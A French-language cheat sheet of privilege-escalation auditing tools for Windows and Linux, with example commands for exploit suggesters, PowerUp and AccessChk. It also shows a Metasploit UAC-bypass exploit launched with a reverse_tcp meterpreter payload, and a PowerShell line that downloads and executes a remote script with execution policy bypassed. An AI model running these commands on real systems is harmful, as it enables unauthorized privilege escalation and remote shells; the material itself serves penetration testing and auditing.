Analyse des vulnérabilités avec Windows-Exploit-Suggester
Cet outil permet d'identifier les vulnérabilités exploitables en se basant sur les enformations système fournies par la commande systeminfo.
python windows-exploit-suggester.py --database 2023-12-14-mssb.xls --systeminfo sysinfo.txt
Lien vers le dépôt : Windows-Exploit-Suggester
Détection sur Linux avec linux-exploit-suggester
Script shell qui analyse le noyau et les binaires installés pour suggérer des vecteurs d'attaque potentiels.
chmod +x linux-exploit-suggester.sh && ./linux-exploit-suggester.sh
Lien vers le dépôt : linux-exploit-suggester
Recherche de vulnérabilités avec Sherlock (PowerShell)
Outil PowerShell pour énumérer les correctifs manquants et les failles de configuration courantes.
Import-Module .\Sherlock.ps1
Find-AllVulns | Select-Object CVE, Title, Severity
Lien vers le dépôt : Sherlock
Vérification via Metasploit Framework
Utilisation des modules post-exploitation pour l'énumération et la suggestion d'exploits.
# Énumération des correctifs installés
meterpreter > run post/windows/gather/enum_patches
# Suggestion automatique d'exploits locaux
msf6 > use post/multi/recon/local_exploit_suggester
msf6 > set SESSION 1
msf6 > set SHOWDESCRIPTION true
msf6 > run
# Exemple d'utilisation d'un exploit suggéré
msf6 > use exploit/windows/local/bypassuac_dotnet_profiler
msf6 > set SESSION 1
msf6 > set PAYLOAD windows/x64/meterpreter/reverse_tcp
msf6 > run
Audit avec PowerUp (PowerShell Empire)
Suite de fonctions pour détecter les mauvaises configurations permettant l'escalade.
Set-ExecutionPolicy Bypass -Scope Process
Import-Module .\PowerUp.ps1
Invoke-AllChecks -CheckAll | Out-File -FilePath audit_results.txt
# Alternative téléchargeant le script directement
IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/EmpireProject/PowerTools/master/PowerUp/PowerUp.ps1')
Invoke-PrivescAudit -HTMLReport
Analyse des autorisations avec AccessChk (Sysinternals)
Outil en ligne de commande pour inspecter les permissions sur les fichiers, clés de registre et services.
# Vérification des droits d'écriture sur un répertoire
accesschk.exe -wvu "C:\Program Files" 2>nul | findstr "RW"
# Audit des services vulnérables
accesschk.exe -uwcqv "Authenticated Users" * | findstr "SERVICE_ALL_ACCESS"
# Recherche de clés de registre accessibles en écriture
accesschk.exe -kvuws "Everyone" HKLM\SOFTWARE 2>nul | findstr "KEY"
Ces outils couvrent les principales techniques de détection pour l'analyse de configuration et la recherche de vecteurs d'escalade de privilèges.